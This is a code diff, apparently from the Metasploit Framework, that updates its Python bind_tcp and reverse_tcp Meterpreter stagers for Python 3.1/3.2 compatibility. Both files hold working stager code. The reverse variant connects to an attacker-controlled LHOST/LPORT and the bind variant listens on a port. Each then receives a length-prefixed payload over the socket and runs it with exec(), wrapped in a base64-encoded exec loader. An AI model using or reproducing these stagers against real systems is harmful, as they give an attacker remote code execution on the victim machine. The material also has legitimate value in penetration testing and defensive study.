Pymeterpreter update pystagers for version 3.1/3.2

Author: zeroSteiner

modules/payloads/stagers/python/bind_tcp.rb

@@ -29,22 +29,24 @@ def initialize(info = {})
   # Constructs the payload
   #
   def generate
-    cmd = ''
     # Set up the socket
-    cmd += "import socket,struct\n"
-    cmd += "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
-    cmd += "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
-    cmd += "s.listen(1)\n"
-    cmd += "c,a=s.accept()\n"
-    cmd += "l=struct.unpack('>I',c.recv(4))[0]\n"
-    cmd += "d=c.recv(4096)\n"
-    cmd += "while len(d)!=l:\n"
-    cmd += "\td+=c.recv(4096)\n"
-    cmd += "exec(d,{'s':c})\n"
+    cmd  = "import socket,struct\n"
+    cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
+    cmd << "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
+    cmd << "s.listen(1)\n"
+    cmd << "c,a=s.accept()\n"
+    cmd << "l=struct.unpack('>I',c.recv(4))[0]\n"
+    cmd << "d=c.recv(4096)\n"
+    cmd << "while len(d)!=l:\n"
+    cmd << "\td+=c.recv(4096)\n"
+    cmd << "exec(d,{'s':c})\n"
 
     # Base64 encoding is required in order to handle Python's formatting requirements in the while loop
-    cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))"
-    return cmd
+    b64_stub  = "import base64,sys; exec(base64.b64decode("
+    b64_stub << "(str if sys.version_info[0]==2 else lambda b:bytes(b,'UTF-8'))('"
+    b64_stub << Rex::Text.encode_base64(cmd)
+    b64_stub << "')))"
+    return b64_stub
   end
 
   def handle_intermediate_stage(conn, payload)

modules/payloads/stagers/python/reverse_tcp.rb

@@ -29,20 +29,22 @@ def initialize(info = {})
   # Constructs the payload
   #
   def generate
-    cmd = ''
     # Set up the socket
-    cmd += "import socket,struct\n"
-    cmd += "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
-    cmd += "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
-    cmd += "l=struct.unpack('>I',s.recv(4))[0]\n"
-    cmd += "d=s.recv(4096)\n"
-    cmd += "while len(d)!=l:\n"
-    cmd += "\td+=s.recv(4096)\n"
-    cmd += "exec(d,{'s':s})\n"
+    cmd  = "import socket,struct\n"
+    cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
+    cmd << "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
+    cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
+    cmd << "d=s.recv(4096)\n"
+    cmd << "while len(d)!=l:\n"
+    cmd << "\td+=s.recv(4096)\n"
+    cmd << "exec(d,{'s':s})\n"
 
     # Base64 encoding is required in order to handle Python's formatting requirements in the while loop
-    cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))"
-    return cmd
+    b64_stub  = "import base64,sys; exec(base64.b64decode("
+    b64_stub << "(str if sys.version_info[0]==2 else lambda b:bytes(b,'UTF-8'))('"
+    b64_stub << Rex::Text.encode_base64(cmd)
+    b64_stub << "')))"
+    return b64_stub
   end
 
   def handle_intermediate_stage(conn, payload)